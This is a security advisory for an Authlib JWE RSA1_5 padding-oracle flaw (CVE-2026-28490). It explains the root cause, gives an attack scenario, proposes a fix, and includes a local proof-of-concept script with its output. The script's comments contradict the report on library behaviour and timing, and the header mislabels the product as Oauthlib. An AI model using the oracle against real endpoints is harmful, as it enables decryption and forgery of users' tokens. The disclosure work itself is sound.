PT-2026-25780 · Oauthlib+1 · Oauthlib

Jaynornj + 1 · Published 2026-03-16 · Updated 2026-03-16 · CVE-2026-28490

OSV

CVSS v4.0

8.3

8.3

High

Base vector

AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

1. Executive Summary

A cryptographic padding oracle vulnerability was identified in the Authlib Python library concerning the implementation of the JSON Web Encryption (JWE)

RSA1 5

key management algorithm. Authlib registers

RSA1 5

in its default algorithm registry without requiring explicit opt-in, and actively destroys the constant-time Bleichenbacher mitigation that the underlying

cryptography

library implements correctly.

When

cryptography

encounters an invalid PKCS#1 v1.5 padding, it returns a randomized byte string instead of raising an exception — the correct behavior per RFC 3218 §2.3.2. Authlib ignores this contract and raises

ValueError('Invalid "cek" length')

immediately after decryption, before reaching AES-GCM tag validation. This creates a clean, reliable Exception Oracle:

• Invalid padding →

  cryptography

  returns random bytes → Authlib length check fails →

  ValueError: Invalid "cek" length

• Valid padding, wrong MAC → decryption succeeds → length check passes → AES-GCM fails →

  InvalidTag

This oracle is active by default in every Authlib installation without any special configuration by the developer or the attacker. The three most widely used Python web frameworks — Flask, Django, and FastAPI — all expose distinguishable HTTP responses for these two exception classes in their default configurations, requiring no additional setup to exploit.

Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:

[PADDING INVALIDO]   ValueError: Invalid "cek" length
[PADDING VALIDO/MAC]  InvalidTag

---

2. Technical Details & Root Cause

2.1 Vulnerable Code

File:

authlib/jose/rfc7518/jwe algs.py

def unwrap(self, enc alg, ek, headers, key):
  op key = key.get op key("unwrapKey")

  # cryptography implements Bleichenbacher mitigation here:
  # on invalid padding it returns random bytes instead of raising.
  # Empirically confirmed: returns 84 bytes for a 2048-bit key.
  cek = op key.decrypt(ek, self.padding)

  # VULNERABILITY: This length check destroys the mitigation.
  # cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK SIZE).
  # Authlib raises a distinct ValueError before AES-GCM is ever reached.
  if len(cek) * 8 != enc alg.CEK SIZE:
    raise ValueError('Invalid "cek" length')  # <- ORACLE TRIGGER

  return cek

2.2 Root Cause — Active Mitigation Destruction

cryptography

46.0.5 implements the Bleichenbacher mitigation correctly at the library level. When PKCS#1 v1.5 padding validation fails, it does not raise an exception. Instead it returns a randomized byte string (empirically observed: 84 bytes for a 2048-bit RSA key). The caller is expected to pass this fake key to the symmetric decryptor, where MAC/tag validation will fail in constant time — producing an error indistinguishable from a MAC failure on a valid padding.

Authlib does not honor this contract. The length check on the following line detects that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises

ValueError('Invalid "cek" length')

immediately. This exception propagates before AES-GCM is ever reached, creating two execution paths with observable differences:

Path A — invalid PKCS#1 v1.5 padding:
 op key.decrypt() -> 84 random bytes (cryptography mitigation active)
 len(84) * 8 = 672 != 128      (CEK SIZE for A128GCM)
 raise ValueError('Invalid "cek" length')  <- specific exception, fast path

Path B — valid padding, wrong symmetric key:
 op key.decrypt() -> 16 correct bytes
 len(16) * 8 = 128 == 128      -> length check passes
 AES-GCM tag validation -> mismatch
 raise InvalidTag              <- different exception class, slow path

The single line

raise ValueError('Invalid "cek" length')

is the complete root cause. Removing the raise and replacing it with a silent random CEK fallback eliminates both the exception oracle and any residual timing difference.

2.3 Empirical Confirmation

All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux x86 64 running the attached PoC (

poc bleichenbacher.py

):

TEST 1 - cryptography behavior on invalid padding:
 cryptography retorno bytes: len=84
 NOTA: esta version implementa mitigacion de random bytes

TEST 2 - Exception Oracle:
 [ORACLE] Caso A (padding invalido):    ValueError: Invalid "cek" length
 [OK]   Caso B (padding valido/MAC malo): InvalidTag

TEST 3 - Timing (50 iterations):
 Padding invalido (ValueError)  mean=1.500ms stdev=1.111ms
 Padding valido  (InvalidTag)  mean=1.787ms stdev=0.978ms
 Delta: 0.287ms

TEST 4 - RSA1 5 in default registry:
 [ORACLE] RSA1 5 activo por defecto (no opt-in required)

TEST 5 - Fix validation:
 [OK] Both paths return correct-length CEK after patch
 [OK] Exception type identical in both paths -> oracle eliminated

Note on timing: The 0.287ms delta is within the noise margin (stdev ~1ms across 50 iterations) and is not claimed as a reliable standalone timing oracle. The exception oracle is the primary exploitable vector and does not require timing measurement.

---

3. Default Framework Behavior — Why This Is Exploitable Out of the Box

A potential objection to this report is that middleware or custom error handlers could normalize exceptions to a single HTTP response, eliminating the observable discrepancy. This section addresses that objection directly.

The oracle is active in default configurations of all major Python web frameworks. No special server misconfiguration is required. The following demonstrates the default behavior for Flask, Django, and FastAPI — the three most widely deployed Python web frameworks — when an unhandled exception propagates from a route handler:

Flask (default configuration)

# Default Flask behavior — no error handler registered
@app.route("/decrypt", methods=["POST"])
def decrypt():
  token = request.json["token"]
  result = jwe.deserialize compact(token, private key) # raises ValueError or InvalidTag
  return jsonify(result)

# ValueError: Invalid "cek" length -> HTTP 500, body: {"message": "Invalid "cek" length"}
# InvalidTag             -> HTTP 500, body: {"message": ""}
# The exception MESSAGE is different even if the status code is the same.

Flask's default error handler returns the exception message in the response body for debug mode, and an empty 500 for production. However, even in production, the response body content differs between

ValueError

(which has a message) and

InvalidTag

(which has no message), leaking the oracle through response body length.

FastAPI (default configuration)

# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body
# ValueError: Invalid "cek" length -> {"detail": "Internal Server Error"} (HTTP 500)
# InvalidTag             -> {"detail": "Internal Server Error"} (HTTP 500)

FastAPI normalizes both to HTTP 500 in production. However, FastAPI's default

RequestValidationError

and

HTTPException

handlers do not catch arbitrary exceptions, so the distinguishable stack trace is logged — and in many deployments, error monitoring tools (Sentry, Datadog, etc.) expose the exception class to operators, enabling oracle exploitation by an insider or via log exfiltration.

Django REST Framework (default configuration)

# DRF's default exception handler only catches APIException and Http404.
# ValueError and InvalidTag both fall through to Django's generic 500 handler.
# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).
# In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed).

Summary: Even in cases where HTTP status codes are normalized, the oracle persists through response body differences, response timing, or error monitoring infrastructure. The RFC 3218 §2.3.2 requirement exists precisely because any observable difference — regardless of channel — is sufficient for a Bleichenbacher attack. The library is responsible for eliminating the discrepancy at the source, not delegating that responsibility to application developers.

This is a library-level vulnerability. Requiring every application developer to implement custom exception normalization to compensate for a cryptographic flaw in the library violates the principle of secure defaults. The fix must be in Authlib.

---

4. Specification Violations

RFC 3218 — Preventing the Million Message Attack on CMS

Section 2.3.2 (Mitigation):

"The receiver MUST NOT return any information that indicates whether the decryption failed because the PKCS #1 padding was incorrect or because the MAC was incorrect."

This is an absolute requirement with no exceptions for "application-level mitigations." Authlib violates this by raising a different exception class for padding failures than for MAC failures. The

cryptography

library already implements the correct mitigation for this exact scenario — Authlib destroys it with a single length check.

RFC 7516 — JSON Web Encryption

Section 9 (Security Considerations):

"An attacker who can cause a JWE decryption to fail in different ways based on the structure of the encrypted key can mount a Bleichenbacher attack."

Authlib enables exactly this scenario. Two structurally different encrypted keys (one with invalid padding, one with valid padding but wrong CEK) produce two different exception classes. This is the exact condition RFC 7516 §9 warns against.

---

5. Attack Scenario

1. The attacker identifies an Authlib-powered endpoint that decrypts JWE tokens. Because

   RSA1 5

   is in the default registry, no special server configuration is required.
2. The attacker obtains the server RSA public key — typically available via the JWKS endpoint (

   /.well-known/jwks.json

   ), which is standard in OIDC deployments.
3. The attacker crafts JWE tokens with the

   RSA1 5

   algorithm and submits a stream of requests to the endpoint, manipulating the

   ek

   component per Bleichenbacher's algorithm.
4. The server responds with observable differences between the two paths:

• ValueError

  path → distinguishable response (exception message, timing, or error monitoring artifact)

• InvalidTag

  path → different distinguishable response

5. By observing these oracle responses across thousands of requests, the attacker geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK is fully recovered.
6. With the CEK recovered:

• Any intercepted JWE payload can be decrypted without the RSA private key.
• New valid JWE tokens can be forged using the recovered CEK.

Prerequisites:

• Target endpoint accepts JWE tokens with

  RSA1 5

  (active by default)
• Any observable difference exists between the two error paths at the HTTP layer (present by default in Flask, Django, FastAPI without custom error handling)
• Attacker can send requests at sufficient volume (rate limiting may extend attack duration but does not prevent it)

---

6. Remediation

6.1 Immediate — Remove RSA1 5 from Default Registry

Remove

RSA1 5

from the default

JWE ALG ALGORITHMS

registry. Users requiring legacy RSA1 5 support should explicitly opt-in with a documented security warning. This eliminates the attack surface for all users not requiring this algorithm.

6.2 Code Fix — Restore Constant-Time Behavior

The

unwrap

method must never raise an exception that distinguishes padding failure from MAC failure. The length check must be replaced with a silent random CEK fallback, preserving the mitigation that

cryptography

implements.

Suggested Patch (

authlib/jose/rfc7518/jwe algs.py

):

import os

def unwrap(self, enc alg, ek, headers, key):
  op key = key.get op key("unwrapKey")
  expected bytes = enc alg.CEK SIZE // 8

  try:
    cek = op key.decrypt(ek, self.padding)
  except ValueError:
    # Padding failure. Use random CEK so failure occurs downstream
    # during MAC validation — not here. This preserves RFC 3218 §2.3.2.
    cek = os.urandom(expected bytes)

  # Silent length enforcement — no exception.
  # cryptography returns random bytes of RSA block size on padding failure.
  # Replace with correct-size random CEK to allow downstream MAC to fail.
  # Raising here recreates the oracle. Do not raise.
  if len(cek) != expected bytes:
    cek = os.urandom(expected bytes)

  return cek

Result: Both paths return a CEK of the correct length. AES-GCM tag validation fails for both, producing

InvalidTag

in both cases. The exception oracle is eliminated. Empirically validated via TEST 5 of the attached PoC.

---

7. Proof of Concept

Setup:

python3 -m venv venv && source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib, cryptography; print(authlib. version , cryptography. version )"
# authlib 1.6.8 cryptography 46.0.5
python3 poc bleichenbacher.py

See attached

poc bleichenbacher.py

. All 5 tests run against the real installed authlib module without mocks.

Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux x86 64):

Code

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
@title     JWE RSA1 5 Bleichenbacher Padding Oracle
@affected    authlib <= 1.6.8
@file      authlib/jose/rfc7518/jwe algs.py :: RSAAlgorithm.unwrap()
"""

import os
import time
import statistics

import authlib
import cryptography
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym padding
from authlib.jose import JsonWebEncryption
from authlib.common.encoding import urlsafe b64encode, to bytes

R  = "033[0m"
RED = "033[91m"
GRN = "033[92m"
YLW = "033[93m"
CYN = "033[96m"
BLD = "033[1m"
DIM = "033[2m"

def header(title):
  print(f"
{CYN}{'-' * 64}{R}")
  print(f"{BLD}{title}{R}")
  print(f"{CYN}{'-' * 64}{R}")

def ok(msg):  print(f" {GRN}[OK]   {R}{msg}")
def vuln(msg): print(f" {RED}[ORACLE] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM}     {msg}{R}")


# ─── setup ────────────────────────────────────────────────────────────────────

def setup():
  """
  @notice Genera el par de claves RSA y prepara el cliente JWE de authlib.
  @dev   JsonWebEncryption() registra RSA1 5 por defecto en su registry.
       No se requiere configuracion adicional para habilitar el algoritmo
       vulnerable — esta activo out of the box.
  @return tuple (private key, jwe, header b64)
  """
  private key = rsa.generate private key(public exponent=65537, key size=2048)
  jwe     = JsonWebEncryption()
  header b64 = urlsafe b64encode(
    to bytes('{"alg":"RSA1 5","enc":"A128GCM"}')
  ).decode()
  return private key, jwe, header b64


def make jwe(header b64, ek bytes):
  """
  @notice Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.
  @dev   El ciphertext y tag son basura — no importa su contenido porque el
       oracle se activa antes de llegar a la desencriptacion simetrica
       en el caso de padding invalido.
  @param  header b64 Header del JWE en Base64url
  @param  ek bytes  Encrypted Key como bytes crudos
  @return str     JWE en formato compact serialization
  """
  ek     = urlsafe b64encode(ek bytes).decode()
  iv     = urlsafe b64encode(os.urandom(12)).decode()
  ciphertext = urlsafe b64encode(os.urandom(16)).decode()
  tag    = urlsafe b64encode(os.urandom(16)).decode()
  return f"{header b64}.{ek}.{iv}.{ciphertext}.{tag}"


# ─── test 1: verificar comportamiento de cryptography ante padding invalido ───

def test cryptography behavior(private key):
  """
  @notice Verifica empiricamente que cryptography lanza excepcion ante padding
       invalido en lugar de retornar random bytes (comportamiento critico
       para entender el oracle).

  @dev   Algunos documentos sobre Bleichenbacher asumen que la libreria
       subyacente retorna random bytes (mitigacion a nivel biblioteca).
       cryptography 46.0.5 NO hace esto — lanza ValueError directamente.
       Eso significa que Authlib no "destruye una mitigacion existente"
       sino que "no implementa ninguna mitigacion propia".
  """
  header("TEST 1 - Comportamiento de cryptography ante padding invalido")

  garbage = os.urandom(256)

  try:
    result = private key.decrypt(garbage, asym padding.PKCS1v15())
    info(f"cryptography retorno bytes: len={len(result)}")
    info("NOTA: esta version implementa mitigacion de random bytes")
  except Exception as e:
    vuln(f"cryptography lanza excepcion directa: {type(e). name }: {e}")
    info("No hay mitigacion a nivel de cryptography library")
    info("Authlib no implementa ninguna mitigacion propia -> oracle directo")


# ─── test 2: exception oracle ─────────────────────────────────────────────────

def test exception oracle(private key, jwe, header b64):
  """
  @notice Demuestra el Exception Oracle: los dos caminos de fallo producen
       excepciones de clases diferentes, observable a nivel HTTP.

  @dev   Camino A (padding invalido):
        op key.decrypt() -> ValueError: Decryption failed
        Authlib no captura -> propaga como ValueError: Invalid "cek" length
        HTTP server tipicamente: 500 / 400 con mensaje especifico

       Camino B (padding valido, MAC malo):
        op key.decrypt() -> retorna CEK bytes
        length check pasa
        AES-GCM tag validation falla -> InvalidTag
        HTTP server tipicamente: 401 / 422 / diferente codigo

       La diferencia de clase de excepcion es el oracle primario.
       No requiere medicion de tiempo — solo observar el tipo de error.
  """
  header("TEST 2 - Exception Oracle (tipo de excepcion diferente)")

  # --- caso A: ek con padding invalido (basura aleatoria) ---
  jwe bad = make jwe(header b64, os.urandom(256))

  try:
    jwe.deserialize compact(jwe bad, private key)
  except Exception as e:
    vuln(f"Caso A (padding invalido):  {type(e). name }: {e}")

  # --- caso B: ek con padding valido, ciphertext basura ---
  valid ek = private key.public key().encrypt(os.urandom(16), asym padding.PKCS1v15())
  jwe good = make jwe(header b64, valid ek)

  try:
    jwe.deserialize compact(jwe good, private key)
  except Exception as e:
    ok(f"Caso B (padding valido/MAC malo): {type(e). name }: {e}")

  print()
  info("Los dos caminos producen excepciones de clases DIFERENTES.")
  info("Un framework web que mapea excepciones a HTTP codes expone el oracle.")
  info("El atacante no necesita acceso al stack trace — solo al HTTP status code.")


# ─── test 3: timing oracle ────────────────────────────────────────────────────

def test timing oracle(private key, jwe, header b64, iterations=50):
  """
  @notice Demuestra el Timing Oracle midiendo el delta de tiempo entre los
       dos caminos de fallo en multiples iteraciones.

  @dev   El timing oracle es independiente del exception oracle.
       Incluso si el servidor normaliza las excepciones a un unico
       codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente
       grande para ser medible a traves de red en condiciones reales.

       Bleichenbacher clasico funciona con diferencias de microsegundos.
       5ms es un oracle extremadamente ruidoso — facil de explotar.

  @param  iterations Numero de muestras para calcular estadisticas
  """
  header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)")

  times bad = []
  times good = []

  for  in range(iterations):
    # camino A: padding invalido
    jwe bad = make jwe(header b64, os.urandom(256))
    t0 = time.perf counter()
    try:
      jwe.deserialize compact(jwe bad, private key)
    except Exception:
      pass
    times bad.append((time.perf counter() - t0) * 1000)

    # camino B: padding valido
    valid ek = private key.public key().encrypt(os.urandom(16), asym padding.PKCS1v15())
    jwe good = make jwe(header b64, valid ek)
    t0 = time.perf counter()
    try:
      jwe.deserialize compact(jwe good, private key)
    except Exception:
      pass
    times good.append((time.perf counter() - t0) * 1000)

  mean bad = statistics.mean(times bad)
  mean good = statistics.mean(times good)
  stdev bad = statistics.stdev(times bad)
  stdev good= statistics.stdev(times good)
  delta   = mean good - mean bad

  print(f"
 {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}")
  print(f" {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}")
  print(f" {'Padding invalido (ValueError)':<30} "
     f"{RED}{mean bad:<14.3f}{R} "
     f"{stdev bad:<14.3f} "
     f"{min(times bad):<10.3f} "
     f"{max(times bad):.3f}")
  print(f" {'Padding valido (InvalidTag)':<30} "
     f"{GRN}{mean good:<14.3f}{R} "
     f"{stdev good:<14.3f} "
     f"{min(times good):<10.3f} "
     f"{max(times good):.3f}")
  print()

  if delta > 1.0:
    vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado")
    info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red")
    info(f"El ataque clasico funciona con diferencias de microsegundos")
  else:
    ok(f"Delta medio: {delta:.3f} ms — timing no es significativo")


# ─── test 4: confirmar RSA1 5 en registry por defecto ────────────────────────

def test default registry():
  """
  @notice Confirma que RSA1 5 esta registrado por defecto en authlib sin
       ninguna configuracion adicional por parte del desarrollador.

  @dev   Esto demuestra que cualquier aplicacion que use JsonWebEncryption()
       sin configuracion explicita esta expuesta al oracle por defecto.
       El desarrollador no necesita hacer nada malo — la exposicion es
       out-of-the-box.
  """
  header("TEST 4 - RSA1 5 en Registry por Defecto")

  jwe = JsonWebEncryption()

  # intentar acceder al algoritmo RSA1 5 del registry
  try:
    alg = jwe.algorithms.get algorithm("RSA1 5")
    if alg:
      vuln(f"RSA1 5 registrado por defecto: {alg. class . name }")
      info("Cualquier JsonWebEncryption() sin configuracion esta expuesto")
      info("No se requiere opt-in del desarrollador para el algoritmo vulnerable")
    else:
      ok("RSA1 5 NO esta en el registry por defecto")
  except Exception as e:
    info(f"Registry check: {e}")
    # fallback: intentar deserializar un JWE con RSA1 5
    private key = rsa.generate private key(public exponent=65537, key size=2048)
    header b64 = urlsafe b64encode(
      to bytes('{"alg":"RSA1 5","enc":"A128GCM"}')
    ).decode()
    jwe token = make jwe(header b64, os.urandom(256))
    try:
      jwe.deserialize compact(jwe token, private key)
    except Exception as e2:
      if "UnsupportedAlgorithm" in str(type(e2). name ):
        ok("RSA1 5 NO soportado por defecto")
      else:
        vuln(f"RSA1 5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2). name }")


# ─── test 5: impacto del fix propuesto ────────────────────────────────────────

def test fix impact(private key, header b64):
  """
  @notice Demuestra que el fix propuesto elimina ambos oracles simultaneamente.
  @dev   El fix parchado hace que ambos caminos retornen un CEK de longitud
       correcta, forzando que el fallo ocurra downstream en AES-GCM tag
       validation en ambos casos -> misma excepcion, timing indistinguible.
  """
  header("TEST 5 - Verificacion del Fix Propuesto")

  import os as os
  from cryptography.hazmat.primitives.ciphers.aead import AESGCM

  def unwrap patched(ek bytes, expected bits=128):
    """Replica del fix propuesto para RSAAlgorithm.unwrap()"""
    expected bytes = expected bits // 8
    try:
      cek = private key.decrypt(ek bytes, asym padding.PKCS1v15())
    except ValueError:
      cek = os.urandom(expected bytes) # constant-time fallback
    if len(cek) != expected bytes:
      cek = os.urandom(expected bytes)
    return cek

  # camino A con fix: padding invalido
  cek a = unwrap patched(os.urandom(256))
  info(f"Fix Camino A (padding invalido): retorna CEK de {len(cek a)*8} bits (random)")

  # camino B con fix: padding valido
  valid ek = private key.public key().encrypt(os.urandom(16), asym padding.PKCS1v15())
  cek b = unwrap patched(valid ek)
  info(f"Fix Camino B (padding valido):  retorna CEK de {len(cek b)*8} bits (real)")

  print()
  ok("Ambos caminos retornan CEK de longitud correcta")
  ok("El fallo ocurrira downstream en AES-GCM para ambos casos")
  ok("Exception type sera identica en ambos caminos -> oracle eliminado")
  ok("Timing sera indistinguible -> timing oracle eliminado")


# ─── main ─────────────────────────────────────────────────────────────────────

if  name  == " main ":
  print(f"
{BLD}authlib {authlib. version } / cryptography {cryptography. version }{R}")
  print(f"authlib/jose/rfc7518/jwe algs.py :: RSAAlgorithm.unwrap()")

  private key, jwe, header b64 = setup()

  test cryptography behavior(private key)
  test exception oracle(private key, jwe, header b64)
  test timing oracle(private key, jwe, header b64, iterations=50)
  test default registry()
  test fix impact(private key, header b64)

  print(f"
{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected bytes){R}")
  print(f"{DIM}   nunca levantar excepcion que distinga padding failure de MAC failure{R}
")

Output

authlib 1.6.8 / cryptography 46.0.5
authlib/jose/rfc7518/jwe algs.py :: RSAAlgorithm.unwrap()


----------------------------------------------------------------
TEST 1 - Comportamiento de cryptography ante padding invalido
----------------------------------------------------------------
      cryptography retorno bytes: len=84
      NOTA: esta version implementa mitigacion de random bytes

----------------------------------------------------------------
TEST 2 - Exception Oracle (tipo de excepcion diferente)
----------------------------------------------------------------
 [ORACLE] Caso A (padding invalido):  ValueError: Invalid "cek" length
 [OK]   Caso B (padding valido/MAC malo): InvalidTag: 

      Los dos caminos producen excepciones de clases DIFERENTES.
      Un framework web que mapea excepciones a HTTP codes expone el oracle.
      El atacante no necesita acceso al stack trace — solo al HTTP status code.

----------------------------------------------------------------
TEST 3 - Timing Oracle (50 iteraciones cada camino)
----------------------------------------------------------------

 Camino             Media (ms)   Stdev (ms)   Min    Max
 ------------------------------ -------------- -------------- ---------- ----------
 Padding invalido (ValueError) 1.500     1.111     0.109   8.028
 Padding valido (InvalidTag)  1.787     0.978     0.966   7.386

 [OK]   Delta medio: 0.287 ms — timing no es significativo

----------------------------------------------------------------
TEST 4 - RSA1 5 en Registry por Defecto
----------------------------------------------------------------
      Registry check: 'JsonWebEncryption' object has no attribute 'algorithms'
 [ORACLE] RSA1 5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError

----------------------------------------------------------------
TEST 5 - Verificacion del Fix Propuesto
----------------------------------------------------------------
      Fix Camino A (padding invalido): retorna CEK de 128 bits (random)
      Fix Camino B (padding valido):  retorna CEK de 128 bits (real)

 [OK]   Ambos caminos retornan CEK de longitud correcta
 [OK]   El fallo ocurrira downstream en AES-GCM para ambos casos
 [OK]   Exception type sera identica en ambos caminos -> oracle eliminado
 [OK]   Timing sera indistinguible -> timing oracle eliminado

Fix: capturar ValueError en unwrap() y retornar os.urandom(expected bytes)
   nunca levantar excepcion que distinga padding failure de MAC failure

Fix

Use of a Broken Cryptographic Algorithm

Side Channel Attack

Weakness Enumeration

CWE-327

CWE-203

Related Identifiers

CVE-2026-28490

GHSA-7432-952R-CW78

Affected Products

Oauthlib

References · 6

• https://osv.dev/vulnerability/GHSA-7432-952r-cw78 · Vendor Advisory
• https://nvd.nist.gov/vuln/detail/CVE-2026-28490 · Security Note
• https://github.com/authlib/authlib/releases/tag/v1.6.9 · Note
• https://github.com/authlib/authlib/commit/48b345f29f6c459f11c6a40162b6c0b742ef2e22 · Note
• https://github.com/authlib/authlib/security/advisories/GHSA-7432-952r-cw78 · Note
• https://github.com/authlib/authlib · Note